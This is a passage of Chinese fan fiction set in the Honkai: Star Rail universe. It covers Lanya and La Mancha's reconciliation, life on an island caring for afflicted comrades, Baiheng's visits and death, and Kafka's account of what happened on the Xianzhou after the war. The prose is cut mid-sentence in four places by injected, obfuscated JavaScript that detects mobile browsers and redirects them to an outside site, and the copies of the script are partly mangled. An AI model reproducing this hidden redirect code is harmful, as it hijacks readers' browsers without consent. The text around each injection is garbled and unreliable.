她在自己的知识库里搜索了一下,试图找到“××”和“脸红”之间的关联。搜索结果为空。 “我不明白。”兰涯说,“阿哈没说××是什么。你怎么会一副知道要做什么的样子??” 拉曼查闭上了眼睛,深吸了一口气,睁开眼睛,终于转过头来看着兰涯。 他的脸还是红的,但眼神已经从窘迫里挣脱出来了,带着一种“算了,都这样了”的认命感。 “兰涯。”他说。 “嗯。” “你知道的太多了。” 这句话说出来的瞬间,兰涯的表情没有任何变化。拉曼查看着她,等她理解这句话的意思。 然后兰涯认真地盯着他。 “拉曼查。”她说。 “嗯。” “你知道的太多了。” 同样的句式。她把这句话还给了他。 拉曼查一怔,她说这句话时的眼神,应该不是开玩笑。 她是在认真地说一件事——他知道的太多了。 他看到了那棵树,看到了那些任何一个说出去都能使人陷入癫狂,或遭来天钉、光矢的真相。 他知道了LY∞这个型号,知道了可能某些星神也不知道的事情。 拉曼查的肩膀往下沉了一点,某种支撑了他很久的东西在这一刻松动了。 “反正影子有人能压制了。”他说,声音很轻,又很释然,“我是时候死了。本来我就打算在影子约束不住的时候,请天弓降下光矢,这样我就能……” 兰涯没有说话。 “去陪那些战友们。”拉曼查继续说,在陈述一个很早很早就已经做好的决定,“波赫宁、莉娜、克里斯、坎德尔、伦茨、小宁……他们走在前面了,我在后面拖了很久。现在影子有人管了,游侠的事情熊和鸮能接手,退化的战友有你照顾。我没有什么必须活着才能做的事情了。” 他的右手无意识地攥了一下。手腕处的影子微微扭动了一下,乖巧地继续缩着。 兰涯看着他显得有些疲惫的侧脸。 兰涯把手从膝盖上抬起来,伸过去,握住了拉曼查的右手,那只冰凉的义肢。 “第一,”兰涯说,“我不要影子。” 影子在她的目光下完全静止了,像一个被点到名的、犯了错的孩子,连呼吸都不敢了。 “第二,”她握着他的手,按在他的手背上。“我见说过。” 拉曼查抬起眼睛。 “他说,他对拉曼查最大的希望,是能活多久活多久。” 沉默又回来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505869|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这次的沉默很轻。轻到能听见互相的呼吸声,甚至也许能听见墙壁外面,当然,如果这间房间有外面的话,面具不知道在哪里啊哈啊哈地笑着的隐约回响。 “就这两个原因吗?”拉曼查问,“影子你不要。我见希望我活着。就这两个原因吗?” 他说这句话的时候,长长的睫毛垂着,挡住了眼睛里的东西。 但声音挡不住,声音里面有一层他努力想压住的失落,失落下面还有一层他藏得更深的期待,很小的,很安静的,努力把自己缩成一团不让任何人发现的期待。 兰涯看着他的头发。 上次在匹诺康尼梦境忆质航路后门的时候,她发现拉曼查的头发内侧开始变白了,现在鬓边两侧末梢也有点白了,但是不突兀,很协调。 兰涯的脸上面对影子吞噬自己时都巍然不动的平静神情不见了,取而代之的是一种几乎在她脸上没出现过的,柔软的、温暖的、舒心的笑容。 她往前倾了倾,挺直身体,低下头。 嘴唇落在垮着身体的小狗头顶,那个头发稍微翘起来的发旋的位置。 拉曼查的身体僵住了。 然后他的双手抬起来,把兰涯拉进自己的怀里。下巴搁在她的头顶上,她的头发贴着他的颈部,双手在她背后交叉,十指扣住,用力收紧。 兰涯的脸埋在他的肩窝里。她的双手从身侧抬起来,穿过他的手臂下方,绕到他的背后,扣住。 吊灯的暖黄色灯光照在两个人身上,把交叠的影子投在暗红色的地毯上。 那个在永无止境的轮回中一度想要自灭的LY∞,有了爱。 从仙舟罗浮战场上保护白珩的那一刻开始,从翁瓦克战场上追击原始博士的那一刻开始,从公主在冰封之前看着她说出“谢谢”的那一刻开始,从她在希恩星的海岛上把手抚在科尔头顶的那一刻开始,从她看着房间里吞噬的影子那一刻开始。 所有这些时刻一层一层地累积起来,在这个阿哈鼎力赞助的房间里,完成了最后的质变。 兰涯把脸从拉曼查的肩窝里抬起来。 她的手还环在他背后。他的手臂还箍在她肩膀上。两个人的距离近到她能看清他睫毛的根数。 眼睛下面的青黑色还在,但眼神变了,并非刚才那种认命地等待死亡的眼神。嘴唇微微张着,想说什么,但还没有组织好语言。 兰涯先开口了。 “拉曼查。” “嗯。” “你是我的锚点。” 拉曼查眨了一下眼睛。 “在罗浮的战场上,我还要感谢你,帮我锚定住了人性认知。” 拉曼查没有说话,他的喉结动了一下,眼睛里有东西亮起来,像星星。 兰涯的坐姿从刚才拥抱时的倾斜恢复了端正,但她没有拉开距离。 “终末之所以逆行,是因为每一次都抵达了进无可进的终点,为了避开这些死路,再度启程。”她侧过头,看着拉曼查,“你告诉我还有一种可能性。” 拉曼查走在巡猎的命途上,但他做的事情远远超出了命途的边界。 他追杀绝灭大君,也爬四公里竖井给战友家属送抚恤金。 他把约束作为压制影子的手段,也用同样的约束保护所有他能保护的人。 他在翁瓦克战场上亲手扣动扳机,送走了战友,然后在冰柜里睁着眼睛度过一个又一个夜晚。 他走在巡猎的命途上,但他活着的方式超越了命途。 他说:这条路意味着失去、痛苦和复仇,我不想让你走这条路。 但他不知道的是,他自己走出来的那条路,已经告诉了她可能性。 41.第 41 章 “头狼要离群了。”拉曼查说。 他的声音打破了房间里的安静。 他继续说,语气比刚才平稳了一些,明显是已经想了很久,终于决定说出口:“熊和鸮能接手游侠的日常事务。抚恤金的渠道他们清楚,情报网络他们比我更熟悉,战斗指挥熊早就能独当一面了。我离开之后,游侠不会散。” 他低下头,看着自己的右手。 “我想把重心放在岛上。”他的手指微微收拢,影子在指缝间透出细小的红色光丝,“我没办法修复他们的认知。但至少可以陪着他们。科尔以前念诗的时候,我每次都嫌难听。现在我欠他一个听众。” 兰涯点了一下头:“岛上缺一个清洁工。” “地板我会擦三遍。”他说。 两个人同时从沙发上站起来。他们的手不知道什么时候握在了一起,站起来的时候也没有松开。 四面墙壁上的暗红色丝绒在他们站起来的瞬间开始褪色。 从浓重的剧场红退成浅红,从浅红退成粉白,从粉白退成透明。 墙壁、天花板、地板、吊灯、沙发,所有被阿哈制造出来的东西,都在同一时刻失去了颜色。 面具的笑声从逐渐透明的墙壁外面传进来,越来越远,像是一个完成了恶作剧的孩子正撒腿跑向下一场混乱的现场。 剧场包间完全消失之后,他们站在原本扫到扫无可扫,擦到擦无可擦的房间里。 他们的手还握着。 兰涯低头看了看他们握在一起的手,又抬头看了看拉曼查。 “走吧。岛上的地板在等你。” 拉曼查点头。 两个人走出房间。 基地外面,熊和鸮的飞船正在降落。 推进器的尾焰在停机坪上投下橙蓝色的光。 熊走出来,看到兰涯和拉曼查站在门口,他的手从枪柄上松开,肩膀往下沉了一截。鸮紧随其后,从舷梯上直接翻下来,歪着头看着拉曼查的脸。 “气色好了一点。”鸮说。 熊没说话,他走过去,在拉曼查面前站定,上下打量了一遍,然后伸出拳头,在拉曼查的左肩上轻轻砸了一下。 拉曼查被他砸得往后退了半步,嘴角往上扬起,伸出左拳回砸在熊的肩膀上。 “矿业小行星带的补给送到了?”拉曼查问。 “送到了。”熊说,“十条航线,十二个中转仓库,全部清点完毕。多出来的三箱医疗物资我按照你的老规矩处理了。” “卖给谁了?” “没卖。送给了边境矿业带的工人自助诊所。” 拉曼查点了点头。 鸮推了推遮风镜,严肃地说:“岛上的攀爬架,左边第三根横杆的榫头浅了两毫米。” “熊已经重新打过了。”兰涯说。 “我知道,我看着他打的。”鸮拉了拉帽子,“我是想问你,科尔今天念诗了吗?” 兰涯想了想。 “念了。傍晚的时候,坐在攀爬架最高处。” “节奏对了吗?” “对了。” 鸮把头转过去,看着远处的天边。希恩星的方向在白天是看不到的,但他很专注,一副仿佛能看到的样子。 三天后,拉曼查和兰涯回到了希恩星的岛上。 运输船降落的时候,正是北半球的傍晚。 草甸上的白色和浅紫色小花在夕阳中泛着暖色。攀爬架在逆光中变成深色的剪影,最高处蹲着一个小小的身影,科尔的嘴唇在动。 拉曼查走下舷梯,站在草甸边缘,看着那个剪影。 海风从西海岸吹过来,差点把他的帽子吹跑,他用左手按了按帽子,右臂的影子在袖子里安静地贴着,一动不动。 他朝攀爬架走过去,走到架子底下,抬头看着上面的科尔。 科尔低下头看着他。灰色的毛发在夕光中镀着一层金边。嘴唇停了片刻,然后又动起来。 拉曼查在架子底下坐下来,后背靠着立柱,双手搭在膝盖上,和熊在岛上的坐姿一模一样。 他开始听。 医疗棚的方向,兰涯站在门口,手里拿着护理日志。 她把今天的观察指标一条一条填进去。 科尔,傍晚,攀爬架高处,念诗,节奏正常,持续时间比昨天长了四分钟。 罗宾汉,下午被动活动完成,主动配合度良好。 写完这一行之后,她把笔放下,抬起头看着攀爬架的方向。 拉曼查坐在架子底下,科尔蹲在架子顶上。 两个人隔着一个架子的高度,一个念着没有词语的诗,一个听着没有词语的诗。夕光把他们的影子拉得很长,在草甸上延伸出去,交叠在一起。 海平线上,希恩星的太阳正在沉下去。草甸上的小花合拢了花瓣。 攀爬架上的科尔念完了最后一个节奏,安静下来,两只前爪搭在膝盖上,和底下的人一模一样的姿势。 岛上真正的第一夜开始了。 白珩第一次来岛上,是一个晴朗的下午。 兰涯正在医疗棚里给罗宾汉做被动活动。 医疗棚的门被敲了三下。不是熊的节奏,熊敲门是一下重两下轻,像他走路的方式。也不是鸮的节奏,鸮敲门像是啄木鸟啄树干,敲到他自己脑震荡。更不是拉曼查的节奏,他根本不敲门,直接推门就进。这个节奏是均匀的、轻快的。 兰涯把罗宾汉放回软垫上,站起来去开门。 白珩站在门口。 她穿着一件浅紫色的旅行外套,袖口卷到手腕以上,手里拎着一个布口袋。 狐人的耳朵从头发里竖起来,被岛上的海风吹得微微往后倒。看到兰涯的瞬间,她的眼睛弯起来,嘴角往上翘,整张脸亮了一下。 “兰妈妈!” 她把布口袋扔一边,给了兰涯一个结实的拥抱。 她的个子比兰涯矮一点,抱住的时候额头刚好抵在兰涯的下巴上。耳朵蹭过兰涯的颈侧,毛茸茸的,带着阳光晒过的温度。 兰涯的手在她后背上轻轻拍了拍。 “你怎么找到这里的?” “希恩星的执政官欠我一次人情。”白珩松开她,往后退了一步,耳朵晃了晃,“我问他,你送兰涯医师的那座岛在哪个坐标?他一开始还不肯说,说兰涯医师交代过要保密。我给他看照片,说我是她家里人,他就说了。” 白珩说“家里人”三个字的时候,语气非常自然,她提起布口袋,放在桌上,打开袋口,从里面抽出一沓装订好的纸稿。 “《涯海星槎胜览》新篇章。”她把纸稿放在桌上,在封面上拍了两下,“这一章写的星系很有趣,当地人把恒星当作祖先来祭拜,每年太阳进入回归线那天,全族跪在旷野里对着太阳唱歌,要唱三天三夜。我录了一段,回头放给你听。” 兰涯把纸稿拿起来翻了翻。 白珩的字迹很工整,每一页的边缘都画着可爱的插图。 “我以后每次来都带一章新的,因为每次都有新的可以写。”白珩说,眼睛在医疗棚里转了一圈,看到了靠墙坐着的罗宾汉。 兰涯介绍:“罗宾汉。” “你好,我是白珩。”白珩走过去,在罗宾汉面前蹲下来,自我介绍。 罗宾汉看着她,点了点头:“蕉。” 白珩没有伸手去摸他,只是蹲在那里,和他视线平齐,安静地看了他一会儿。 “他的眼睛里有东西。”白珩说。 兰涯说:“他的确有意识残余。” “不是那个,我是说,他在想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505870|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情。”白珩站起来,耳朵往前倾了倾,“他能听懂我们说话吗?” “不确定。模因病毒删除了他的语言认知。他可能还能理解一部分语义,也可能只是对声音的语调有反应。” 白珩点了点头,没有追问。她走回桌边,又从布口袋里掏出一样东西。一个小玻璃罐,里面装着琥珀色的液体,罐底沉淀着一层淡金色的细小颗粒。 “翁瓦克的蜂蜜,最新的一批,我路过时买的特产。”她把玻璃罐放在纸稿旁边,“给你和拉曼查先生的。” 兰涯拿起玻璃罐,琥珀色的液体在阳光中变成透明,底部的金色颗粒缓慢地翻涌了一下。 “拉曼查在攀爬架那边。”她说。 “我去打个招呼。” 白珩走出医疗棚,朝攀爬架的方向走过去。 兰涯站在医疗棚门口看着她走远,然后低头看了看手里的蜂蜜罐。白珩在标签上写了一行小字:第一季,翁瓦克北半球花源,采于初夏。 她把蜂蜜罐放在护理日志旁边,和纸稿并排。 白珩走到攀爬架底下的时候,拉曼查正在擦第三根横杆。他站在梯子上,左手扶着架子,右手拿着抹布,沿着横杆的纹理仔细擦拭。 白珩仰头看着他,耳朵竖起来。 “拉曼查先生!” 拉曼查低下头,看到是她,点了一下头,“小姑娘,你来了?” “嗯。”白珩把手背在身后,踮了踮脚,“你在擦架子?” “熊打的榫头浅了两毫米,灰尘容易积在缝隙里。”拉曼查把抹布折了一下,继续擦,“擦干净之后涂一层保护油,木头能用得更久。” 白珩歪着头看了他一会儿,然后自顾自笑了,仙舟孩子很多都是听巡海游侠的故事长大的,故事里的英雄人物此时此刻在当清洁工。 “岛上还习惯吗?”拉曼查问。 “习惯。”白珩说,“比仙舟自在。” 拉曼查的手停了一下,然后继续擦。 白珩没有继续这个话题。她在攀爬架底下的草地上坐下来,后背靠着立柱,两条腿舒坦地伸直。 科尔从架子上探出头往下看了一眼,又缩回去了。白珩抬头看到那一闪而过的灰色影子,耳朵动了动。 “这是哪位?” “科尔。” “他在上面做什么?” “念诗。” 白珩没有问念的什么诗。她靠在立柱上,闭上眼睛,听着头顶传来的节奏。 海风从西海岸吹过来,穿过草甸,科尔的节奏和海风的节奏混在一起,说不上和谐,但也不刺耳。 那天白珩在岛上待到了傍晚,她和兰涯一起坐在医疗棚门口,看着海平线上的夕阳把整片海面染成橙红色。 拉曼查在攀爬架那边给横杆涂保护油,刷子蘸油的声音很有规律,一下,一下,又一下。科尔非常配合工作地蹲在边上,嘴唇的节奏和刷子的声音渐渐合上了拍子。 “下一站去哪里?”兰涯问。 “我过来的时候路过边境矿业带,那边有个工人自助诊所,”白珩说,“我答应下次路过帮他们带一批药品过去。” “之后呢?” “之后?”白珩的耳朵晃了晃,“不知道,走到哪里算哪里,宇宙很大。” 她说这句话的时候,声音轻快,是真的觉得“宇宙很大”这件事让人高兴。 “白焰会为你骄傲的。”兰涯说。 白珩转过头,看着兰涯。 “兰妈妈。”她说。 “嗯。” “你答应过妈妈的事情,已经做到了。” 兰涯没有说话。 白珩伸出手,握住了兰涯的手。 两个人并肩坐着,看着海平线把太阳的最后一块边缘吞没。 42.第 42 章 白珩第二次来岛上的时候,没有看到拉曼查。 她在医疗棚、攀爬架、海滩边都找了一遍,然后回到兰涯面前,耳朵困惑地歪向一边。 “拉曼查先生呢?” 兰涯正在写护理日志,把这一行写完,才回答。 “升格了。” 白珩的耳朵竖得笔直:“什么?” “升格成打工星神了。”兰涯合上日志,“岛上医疗维护要花钱,赡养战友家属也要花钱,他不愿意全用我的诊金,出去打工了。” 白珩愣了两秒,被逗乐了,肩膀都在抖。 她的耳朵跟着笑声一颤一颤的,尾巴也左右晃着。 “兰妈妈,你会说笑话了。”她用手背擦了一下眼角,还在笑,“以前你说话都是一个调子到底的。现在你会说笑话了。” 兰涯想了想,发现白珩说得对。她以前确实不怎么会说笑话,甚至连用人类愿意接受的方式安慰人也不会。 当然,现在她也没觉得“拉曼查升格成打工星神”是笑话。她说的是一个事实,拉曼查确实出去打工了。 设备维修、清洁承包、短期安保……零零总总一大堆。 他把游侠时期积累下来的各种技能变成了可以收酬劳的劳动。赚到的钱分成两份,一份寄给死亡战友的家属,一份汇到岛上的维护账户。 她把这件事原原本本地告诉白珩,白珩笑了。 兰涯看着白珩笑弯了的眼睛和晃来晃去的耳朵,嘴角也往上扬起。 白珩笑完之后,在兰涯旁边的椅子上坐下来,从口袋里掏出一个信封,递给兰涯:“这次的新篇章。还没装订,手稿。” 兰涯接过信封,一边打开,一边问:“这一章写的是什么?” “写的是我在航线上遇到的一艘飞船。” 兰涯等着她继续说。 “希世难得号,属于纯美骑士银枝,一位漫游宇宙的星间旅人。人嘛的确是个正直的好人,品行光明磊落,就是动不动喜欢说——”白珩轻咳一声,开始模仿,“美丽的女士,你是否承认「纯美」女神伊德莉拉美貌盖世无双!” 兰涯被小狐狸的配音模仿逗笑了。 小狐狸继续说:“传说「纯美」星神已经陨落,但是纯美骑士们并不相信这个说法,他们坚持认为这是给自己的考验。我倒是觉得,可能「纯美」星神发现自己其实不能定义什么是美,那样做太狭隘了,所以祂干脆把力量分给大家,让大家讨论什么是美。银枝那样漫游宇宙,也是宣传了品德的美。” 兰涯觉得她说的很有道理,就像是一顶破烂的游侠帽子,它看起来并不美,但是它历经战火,凝结了这个游侠的信念,那就是美的。 白珩停下来,迟疑了一下,还是下定了决心,说:“其实我从仙舟离开,也不全是因为想漫游宇宙。” “倏忽之战后,仙舟的政局变得很微妙。”白珩的声音低下来,把一件她想了很久才决定的事情终于说出了口,“每个人心里都压着什么,表面上一切都好,工作照做,吃饭照吃,节日照过。但你能感觉到,下面有什么东西在动。” 她的耳朵垂下来一点,贴着头发。 “景元他……很累。他不说,但我看得出来。他看文件的时候,眉头会微微皱着,是拿起文件的那一瞬间,还没打开文件,眉头就皱了,他自己没察觉。我和他说过,他愣了一下,然后笑,说‘有吗’。后来我就没再提了。” “我不想给他更多压力了。我在仙舟,他会分出一部分精力来照顾我。不是刻意的,是他这个人就是这样。” 她的尾巴垂了下来,安静地贴在椅子腿旁边,一动不动。 兰涯察觉到白珩隐瞒了一些东西。 不是因为白珩说谎了,她说出口的每一句都是真话。 但真话也可以不全说。有一些事情,白珩选择不说。 兰涯没有问,她清楚小狐狸不想把压力转移到兰妈妈身上。 白珩第三次来岛上的时候,带了一个消息:“外面都说,巡海游侠在宇宙中销声匿迹了。” “翁瓦克战役之后,巡海游侠的活动痕迹就越来越少。”她继续说,“外面有人在打听游侠的下落。” 小狐狸看向兰涯:“仙舟也有人打听,他们问到过我。” “你怎么说的?” 白珩眨了眨眼,露出狡黠的笑容,仿佛这是一个心照不宣的、只有她和兰涯两个人知道的秘密。 “我说,不知道。” 她说完之后,尾巴又晃了晃。 坐在兰涯腿边的罗宾汉,尾巴也跟着晃了晃。 不知道是听懂了,还是海风刚好在那个瞬间改变了方向,攀爬架上的科尔也晃了晃尾巴。 三条尾巴同时晃动的样子让兰涯忍不住脸上带着笑意。 白珩靠过来,把头枕在兰涯的肩膀上。她的耳朵贴着兰涯的下巴,毛茸茸的,很温暖。 “兰妈妈。”白珩说,声音很轻,轻到几乎被海风吹散。 “嗯。” “我非常幸福。”她的手指攥住了兰涯的袖口,像是小孩子走在人多的街上,紧紧攥着大人的衣角,“谢谢你。” 兰涯的手抬起来,落在白珩的头顶上,贴着头发,手指穿过狐人耳朵之间的空隙,轻轻地、慢慢地往下梳。 后来,景元的消息是一个很普通的下午传来的。 景元有自己的联系方式,但是他现在身居高位,责任重大,不轻易发消息,就像白珩说的,仙舟有人在打听消息,白珩选择一问三不知,景元更是需要打太极。 消息很简洁明了。 「白珩安然寿终。慰灵祭奠已于今日举行。遵其遗愿,未对外发讣告。她曾委托我,私下告知医师即可。」 附了一张照片。 兰涯把照片点开。 狐人慰灵祭奠的习俗是用星槎埋葬英雄,遗骨装入星槎发射至恒星,象征灵魂归于宇宙。 白珩的星槎堆满了鲜花。 兰涯把照片放大,看星槎上的花。正中间有一小束花和其他的不一样,其他的花都是精心扎好的,只有那一束,花茎长短不齐,绸带系得歪歪扭扭。 兰涯盯着那束花看了很久。 然后她认出来了,是希恩星北半球初夏时节开的白色和浅紫色小花,海岛上漫山遍野的那种。花茎本来就不长,再怎么修剪也修不整齐。 绸带不是绸带,是固定绷带用的棉纱条,岛上没有绸带,只有棉纱条。 白珩最后一次来岛上的时候,采了一大捧花做永生干花,找不到绸带,就借用棉纱条捆扎。兰涯当时看到了,没有问。 白珩把花放进布口袋里,拉上拉链,耳朵晃了晃。 “下次来的时候还你。”她说。 她没有还。 她把这些带回了罗浮,让人放在她的星槎上,正中间。 兰涯把手机放下,在攀爬架底下坐下。她坐的位置是白珩每次来都会坐的那个位置。 兰涯抬起头,希恩星的夜空已经暗下来了。 第一颗星星亮着,然后是第二颗,第三颗。 她找到了罗浮的方向,在希恩星的北半球,这个季节,罗浮的方位应该在东偏南的地平线上方。她看着那个方向,看了很久。 白焰的葬礼,她错过了。 白珩的葬礼,她也无法参加。 仙舟禁止她进入。 兰涯闭上眼睛。 她不后悔。 她完成了对白焰的承诺。 你的女儿很幸福。 星空在头顶缓慢旋转,希恩星的卫星从东边升起来,很淡很淡的银白色光芒洒在海面上,把海平线重新勾勒出来。 兰涯睁开眼睛,看着那道银白色的线,狐人相信,星槎载着遗骨飞入恒星的那一刻,亡者的灵魂会融入宇宙,和所有曾经存在过的祖先们在一起。 白珩现在和她的爸爸妈妈在一起了。 白珩的慰灵祭奠过去很久之后,久到星穹列车都消失在寰宇间很久以后的一个下午。 兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“持明族的内部,在倏忽之战后发生了动荡。”卡芙卡的语气没有起伏,像在念一份已经写好的报告,“你和丹枫在战后处理了一批龙师。那些人被敲回蛋里,等待重新蜕生。这件事本身就在持明族内引发了巨大的争议。有人支持丹枫,认为龙师干预了太多不该干预的事。有人反对丹枫,认为龙师的权力是持明族传统的一部分,丹枫越界了。” 兰涯听着。 白珩隐瞒的事情,正在被眼前这个酒红色头发的女人一一道来。 “你被流放后,争议还没有平息,另一件事发生了。”卡芙卡看着兰涯,依旧是带着一抹莫测的笑意,“有几个龙尊狂热分子,提前让丹枫蜕生后的持明蛋孵化了。” 空气停了一瞬。 “他们偷偷使用了前尘回梦针。持明族蜕生之后,前世的记忆应该自然沉睡。前尘回梦针可以强行打破这个规则。他们的目的很明确,让新生的龙尊带着丹枫的全部记忆和力量苏醒,让持明再次伟大。” 兰涯的手指在身侧微微蜷曲了一下。 “为了促进孵化,他们联合了药王秘传的残余。”卡芙卡继续说,语气毫无变化,仿佛就是在读剧本,“使用了倏忽的枝条。” 倏忽的枝条。那场大战中遗落在战场上的丰饶令使的枝条。 兰涯记得那片战场,记得战场上零落着不少枝条,清理封存工作持续了很长时间,那肯定存在没被及时清理干净,落到了某些人手里的情况。 “负责断后的人正好被路过的镜流、应星发现了踪迹,跟着来到了鳞渊境。为了阻止他们,镜流、应星与他们战斗。” “战斗波及了周围的一群蛋。这些蛋大多是之前被敲回去的龙师蛋。” 卡芙卡停顿了一下,给听的人留出理解上一句话的时间。 “倏忽的碎片在战斗中寄生在了应星身上,为了控制住倏忽的复生,镜流的魔阴身发作了,把狂热分子全杀了,在云骑军赶到前。” 寄生,丰饶令使的血肉接触到应星的伤口,钻进去,沿着血管蔓延,改写了他的生命结构,从短生种变成长生种。 “镜流被拘禁在幽囚狱,最终逃离了罗浮。” “应星因倏忽的血肉感染,堕入魔阴身。经历肉身异变之后,现在他以「刃」之名加入星核猎手。” 43.第 43 章 卡芙卡说完这句话之后,停了下来,似乎在等待着兰涯大脑自我梳理。 “丹枫的那颗蛋。”兰涯问,“被折腾了这么一通之后,怎么样了?” “提前破壳。”卡芙卡说,“新生的丹恒被前尘回梦针的副作用影响了很长时间。他的前世记忆没有完全沉睡,也没有完全苏醒。碎片式的记忆会不定期地浮现,每一次浮现都会带来剧烈的认知冲击。这种情况持续了很久,直到现在也没有完全结束。他已经离开了仙舟。” 兰涯没有说话。 “刃正在按照剧本追杀丹恒。”卡芙卡的语气恢复了一开始的从容,像报告念到了最后一个段落,“逼迫他往列车而去。” 沉默持续了很长时间。 “除了最后刃追杀丹恒的部分。”兰涯终于开口,“前面的那些,和星核猎手有关吗?” “无关。”卡芙卡的回答很干脆,“狂热分子的行为,药王秘传的交易,倏忽枝条的流入,镜流、应星恰好在那一天路过发现跟踪。所有这些,艾利欧没有安排过任何一个环节。命运的剧本有时会自己写出我们未曾预见的章节。蝴蝶在博识学会医学院扇动翅膀,气流穿过三个星系,最终在罗浮吹落了一片瓦。” 兰涯想起了当年为了完成对我见的承诺,对丹枫说“会吃点苦头”,丹枫答应了,自己没想到苦头那么苦。 她又想起了自己在虚数之树下每一次轮回的痛苦,那时候她看到是所有终点的总和。现在卡芙卡告诉她的事情,只是树枝上发生的一段插曲。 可对于活在那段插曲里的人,对于在战斗中感染倏忽血肉的应星,对于为了阻止倏忽复生的镜流,对于带着破碎记忆提前破壳的丹恒,对于独自扛着仙舟政局还要面对挚友一个个离去的景元。 这段插曲是他们正在经历的全部。 白珩隐瞒的就是这些。 她来岛上的时候,应星应该已经变成了刃,镜流已经逃离罗浮,丹恒已经被前世破碎的记忆折磨,景元已经在将军的位置上独自撑着所有重量。 她把这些全部咽下去,压在心里,然后在兰涯面前晃着耳朵笑,说兰妈妈你会说笑话了。 “兰涯医师。”卡芙卡的声音打破了两人之间的安静,“巡海游侠和绝境医师的行迹,在外面已经消失很久了。” 兰涯抬起眼睛看着她。 “星穹列车重新起航。”卡芙卡说,唇角的那抹笑意还在,但显然变得更认真了,“阿基维利的银轨会再次延伸。列车会经过很多地方,遇到很多人,改变很多事。艾利欧让我把这个消息带给你,邀请医师这个变量,观看或参与命运的剧本。” 兰涯看着她,说:“难道真的把我当终末命途的一员了?” 卡芙卡笑了,然后不说话,好像兰涯刚才说的那句话恰好是她最想听到的,而她不能回答,于是用笑来代替回答。 她转过身,高跟鞋踩在金属预制板上的声音和来时一模一样,节奏不快不慢,每一步之间的间隔完全相等。 走到一半,她停下来,侧过头。酒红色的长发从肩膀前面垂下来,挡住了半张脸。 “兰涯医师,公主转动罗盘的那一天,你会看到的。丹恒登上列车的那一天,你会看到的。阿基维利为了银河的愿望重新启程的那一天,你也会看到的。” 她说完这句话,离开了这里。 「 绝境医师·终末(待进一步确认) 伤者濒死,丰饶祝祷、丹鼎术法全无效,异端医者以双针施治,无半点丰饶辉光,悖逆常规,非我药王慈怀一脉。 ——《丹鼎司战后医疗残卷》 于绝境中现身的神秘医者,常在战场上伤员最密集处、灾后废墟深处、星际航线劫掠现场被目击。其行医方式与现存所有医疗体系均不兼容,仅以一枚金针和一枚银针将生命体征从死亡边缘重新锚定至稳定区间。 黑塔空间站曾对其命途以「终末」标记归档,括号内附注「待进一步确认」,故此沿用。 以及,该结论引发过学术争议。有研究员提出假说:绝境医师的治疗行为本质上并非“救治”,而是“重新锚定”。伤者的生命并未被修复,被摧毁的组织、撕裂的灵魂、被腐蚀的肉/体在治疗后依然存在,只是发生的时间被推迟至未来不可知的某个节点。伤者看似痊愈,实则背负着尚未兑现的终结。这一假说解释了绝境医师从不参与术后康复阶段的行为模式:她完成的从来不是治愈,而是对结局的暂缓执行。 绝境医师的目击记录最早可追溯至诛罗之战时期。此后其行迹遍布宇宙各处战场,与巡海游侠的活动范围高度重合。统计学数据显示,巡海游侠参与的战役中,绝境医师出现的概率超过七成。这一关联性导致宇宙间逐渐形成一种默认认知:绝境医师隶属于巡海游侠,或至少与巡海游侠存在某种契约性质的同盟关系。 根据亲历者回忆,绝境医师优先救治重伤濒死者,轻伤者不予处理。救治过程无语言交流,无多余动作。第一枚金针刺入伤者躯体后,伤处溃烂停止,第二枚银针刺入后,组织发生肉眼可见的愈合,生命体征在数秒至数分钟内恢复至脱离危险的水平。 尽管绝境医师的行医模式以战场急救为主,但仍有极少数个案通过私人渠道成功邀请医师上门医治。此类邀请的成功率极低,且存在明确的选择性规律。 据多位成功邀请者的事后转述,医师在接受邀请前会提出三项条件,被外界归纳为“三不治”: 其一,执迷不悟者不治。对长生执着至近乎癫狂之人,无论身体状况尚存多少生机,医师一概拒绝。有邀请者曾为某位以极端手段延寿的富商求医,医师仅回复二字“不治”后便再无音讯。据知情者透露,医师的判断标准并非求医者的延寿行为本身,而是其执念是否已超越基本理性边界。 其二,命数既定者不治。因果链条已完全锁死、再无任何转圜余地的个体,医师不予医治。此条最常被误解为“伤重不治”,但实际案例显示,部分濒死重伤者仍获得了医师救治,而某些表面伤势不重的患者却被拒绝。真正起决定作用的因素并非伤势本身,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505872|202004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 